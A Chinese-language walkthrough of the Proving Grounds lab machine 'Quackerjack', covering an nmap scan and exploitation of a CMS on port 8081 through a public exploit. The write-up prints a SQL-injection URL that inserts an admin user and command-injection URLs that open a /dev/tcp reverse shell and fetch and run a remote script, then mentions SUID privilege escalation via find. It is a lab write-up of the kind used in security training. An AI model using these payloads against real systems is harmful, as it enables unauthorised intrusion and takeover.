nmap
┌──(root㉿kali)-[~]
└─# nmap -p- -A 192.168.159.57
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-05 00:05 UTC
Stats: 0:02:01 elapsed; 0 hosts completed (1 up), 1 undergoing Traceroute
Traceroute Timing: About 32.26% done; ETC: 00:07 (0:00:00 remaining)
Nmap scan report for 192.168.159.57
Host is up (0.071s latency).
Not shown: 65527 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.45.250
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.2 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 a2:ec:75:8d:86:9b:a3:0b:d3:b6:2f:64:04:f9:fd:25 (RSA)
| 256 b6:d2:fd:bb:08:9a:35:02:7b:33:e3:72:5d:dc:64:82 (ECDSA)
|_ 256 08:95:d6:60:52:17:3d:03:e4:7d:90:fd:b2:ed:44:86 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16)
|_http-title: Apache HTTP Server Test Page powered by CentOS
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16
| http-methods:
|_ Potentially risky methods: TRACE
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
|_ 100000 3,4 111/udp6 rpcbind
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAMBA)
445/tcp open netbios-ssn Samba smbd 4.10.4 (workgroup: SAMBA)
3306/tcp open mysql MariaDB (unauthorized)
8081/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16
|_http-title: 400 Bad Request
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized|storage-misc
Running (JUST GUESSING): Linux 3.X|4.X|5.X (91%), Crestron 2-Series (86%), HP embedded (85%), Oracle VM Server 3.X (85%)
OS CPE: cpe:/o:linux:linux_kernel:3.13 cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5.1 cpe:/o:crestron:2_series cpe:/h:hp:p2000_g3 cpe:/o:oracle:vm_server:3.4.2 cpe:/o:linux:linux_kernel:4.1
Aggressive OS guesses: Linux 3.13 (91%), Linux 3.10 - 4.11 (90%), Linux 3.2 - 4.9 (90%), Linux 5.1 (90%), Linux 3.18 (88%), Crestron XPanel control system (86%), Linux 3.16 (86%), HP P2000 G3 NAS device (85%), Oracle VM Server 3.4.2 (Linux 4.1) (85%), Linux 4.4 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: Host: QUACKERJACK; OS: Unix Host script results:
|_clock-skew: mean: 1h40m01s, deviation: 2h53m15s, median: 0s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2024-12-05T00:07:18
|_ start_date: N/A
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.10.4)
| Computer name: quackerjack
| NetBIOS computer name: QUACKERJACK\x00
| Domain name: \x00
| FQDN: quackerjack
|_ System time: 2024-12-04T19:07:19-05:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default) TRACEROUTE (using port 21/tcp)
HOP RTT ADDRESS
1 70.40 ms 192.168.45.1
2 70.29 ms 192.168.45.254
3 72.42 ms 192.168.251.1
4 72.47 ms 192.168.159.57 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 162.69 seconds

访问80881端口

发现框架版本号

搜索exp

https://www.exploit-db.com/exploits/49783

试试ftp 没反应

看看smba 好像也没啥共享文件

看来突破口就是8081的cms了



我们执行exp发现 这个脚本实际上成功了一半

为什么这么说呢 因为他成功的创建了admin 的一个用户 但是rce命令却没有执行成功

我没审一下exp代码

我先把他看样子他是利用sql注入来实现注册一个admin用户的

我直接把他的payload 打印出来



然后我再把他的rce payload 打印出来



这样再次执行这个exp



他就会把创建用户的payload 和rce payload 打印

创建用户
https://192.168.159.57:8081/commands.inc.php?searchOption=contains&searchField=vuln&search=search&searchColumn=command%20;INSERT%20INTO%20`users`%20(`id`,%20`username`,%20`password`,%20`userid`,%20`userlevel`,%20`email`,%20`timestamp`,%20`status`)%20VALUES%20(812,%20%27whagimrnbp%27,%20%2721232f297a57a5a743894a0e4a801fc3%27,%20%276c97424dc92f14ae78f8cc13cd08308d%27,%209,%20%27whagimrnbp@domain.com%27,%201346920339,%201);--

执行创建用户之后我用这个用户登录发现登录成功

rce
https://192.168.159.57:8081/lib/ajaxHandlers/ajaxArchiveFiles.php?path=%20%60touch%20/tmp/.ravnwxuzqe.txt%3Bsudo%20zip%20-q%20/tmp/.ravnwxuzqe.zip%20/tmp/.ravnwxuzqe.txt%20-T%20-TT%20%27/bin/sh%20-i%3E%26%20/dev/tcp/192.168.45.250/80%200%3E%261%20%23%27%60%20&ext=random

试了试rcepayload 页面回显长这样 但是rce确实没仔细

然后我们仔细看看这个rce的payload发现过于复杂了,而且它里面有sudo命令也就是说如果sudo报错后面的命令是执行不成功的

我们简化一下 rce代码 再探测一下 rce能否执行

https://192.168.159.57:8081/lib/ajaxHandlers/ajaxArchiveFiles.php?path=%20curl%20192.168.45.250%2080%20&ext=random



这次发现成功了

ok 那我严重怀疑就是sudo的问题导致rce没执行成功

https://192.168.159.57:8081/lib/ajaxHandlers/ajaxArchiveFiles.php?path=wget192.168.45.250/re3.sh%20&ext=random

点击查看代码
https://192.168.159.57:8081/lib/ajaxHandlers/ajaxArchiveFiles.php?path=%20`wget192.168.45.250/re3.sh`%20&ext=random
https://192.168.159.57:8081/lib/ajaxHandlers/ajaxArchiveFiles.php?path=%20`bash%20./re3.sh`%20&ext=random

https://192.168.159.57:8081/lib/ajaxHandlers/ajaxArchiveFiles.php?path=bash%20./re3.sh%20&ext=random

反弹成功



提权

发现find有suid 权限



提权成功

两个小时结束战斗

Quackerjack pg walkthrough的更多相关文章

  1. 简析服务端通过GT导入SHP至PG的方法

    文章版权由作者李晓晖和博客园共有,若转载请于明显处标明出处:http://www.cnblogs.com/naaoveGIS/ 1.背景 项目中需要在浏览器端直接上传SHP后服务端进行数据的自动入PG ...

  2. PG 中 JSON 字段的应用

    13 年发现 pg 有了 json 类型,便从 oracle 转 pg,几年下来也算比较熟稔了,总结几个有益的实践. 用途一:存储设计时无法预料的文档性的数据.比如,通常可以在人员表准备一个 json ...

  3. pg gem 安装(postgresql94)

    使用下面命令安装报错 gem install pg 错误: [root@AS-test middle_database]# gem install pgBuilding native extensio ...

  4. #pg学习#postgresql的安装

    1.按照官网给的步骤编译安装(Mac安装是比较容易的,相比Liunx) cd /Users/renlipeng/Desktop/postgresql-9.5.1 ./configure --prefi ...

  5. PG 函数的易变性(Function Volatility Categories)

    此概念的接触是在做分区表的时候碰到的,分区表按时间字段分区,在查询时当where条件中时间为now()或者current_time()等时是无法查询的,即使进行格式转换也不行,只有是时间格式如‘201 ...

  6. mysql 序列与pg序列的比较

    mysql序列(这里只谈innodb引擎): 在使用mysql的AUTO_INCREMENT时,使用AUTO_INCREMENT的字段必须建有索引,也可以为索引的一部分.当没有索引时会报错:      ...

  7. 使用zfs进行pg的pitr恢复测试

    前段时间做了一下zfs做pg的增量恢复测试,mark一下. 服务器信息: 主机:192.168.173.43 备机:192.168.173.41 主备使用流复制搭建,在备机上面进行了zfs快照备份. ...

  8. PG CREATEINDEX CONCURRENTLY

    PG CREATEINDEX CONCURRENTLY [TOC] 官方说法 根据9.1的文档 Creating an index can interfere with regular operati ...

  9. PG, Pool之间的一些数量关系

    先说一下我的环境: Ceph cluster中包含6台OSD节点 (osd.0 - 5), 一共有10个Pool (0 - 9), 这些Pool共享了144个PG (这个数字是所有Pool的PG_SI ...

  10. ruby on rails gem install pg时无法安装

    gem install pg -v '0.18.2' Building native extensions. This could take a while... ERROR: Error insta ...

随机推荐

  1. AlignSum:数据金字塔与层级微调,提升文本摘要模型性能 | EMNLP'24

    来源:晓飞的算法工程笔记 公众号,转载请注明出处 论文: AlignSum: Data Pyramid Hierarchical Fine-tuning for Aligning with Human ...

  2. 爱科微AIC8800D80P Wi-Fi6模块驱动移植

    1. 简介 开发环境Ubuntu20.04 目标平台:瑞芯微RK356X 目标平台内核版本:4.19.234 wifi模块型号:AIC8800D80P Wi-Fi6/BT5.0 2. 硬件 wifi模 ...

  3. SqlLite查看工具

    有时候想查看下sqllite,又不需要功能齐全的客户端,SQLiteSpy是个临时应急的好工具(也许本身功能就很强,没仔细研究). https://files.cnblogs.com/files/ja ...

  4. canvas绘制--圆角多边形

    context.arcTo() arcTo() 方法在画布上创建介于两个切线之间的弧/曲线. JavaScript 语法: context.arcTo(x1,y1,x2,y2,r); 参数描述 参数 ...

  5. 静态分析工具及使用总结(二)CheckStyle

    这里主要介绍三种开源的工具,PMD.CheckStyle和FindBugs,着重是在Ant里的调用,据说商业软件JTest也是著名的代码分析工具,哈哈,要花钱的没有用过. Checkstyle (ht ...

  6. DevEco Studio 实战第一节:字符串拼接与组件构建

    DevEco Studio 实战第一节:字符串拼接与组件构建 引言 在现代软件开发中,TypeScript 提供了强类型的优势,而 DevEco Studio 作为华为推出的开发集成环境,提供了便捷的 ...

  7. log4j2 变量注入漏洞(CVE-2021-44228)

    log4j2 JNDI注入漏洞(CVE-2021-44228) 概述 本文非常详细的从头到尾debug了CVE-2021-44228漏洞的利用过程,喜欢的师傅记得点个推荐~ Apache Log4j2 ...

  8. Python 学习记录(2)

    NumPy数组规整 对数组进行各种变化 转换数组形状 import numpy as np a=np.arange(1,6+1) b=np.reshape(a,(2,3)) print(a) prin ...

  9. ChatGPT生成测试用例的最佳实践(二)

    这种测试用例还不够直观,能不能让其以表格的形式显示呢?笔者输入"请以表格形式展示,谢谢."提示词,ChatGPT输出的部分内容如图3-3所示. 图3-3  ChatGPT输出的部分 ...

  10. ChatGPT生成接口测试用例(二)

    5.1.4 自动生成测试数据 测试数据的生成通常是接口测试的一个烦琐任务.ChatGPT可以帮助测试团队生成测试数据,包括各种输入和它们的组合.测试人员可以描述他们需要的数据类型和范围,ChatGPT ...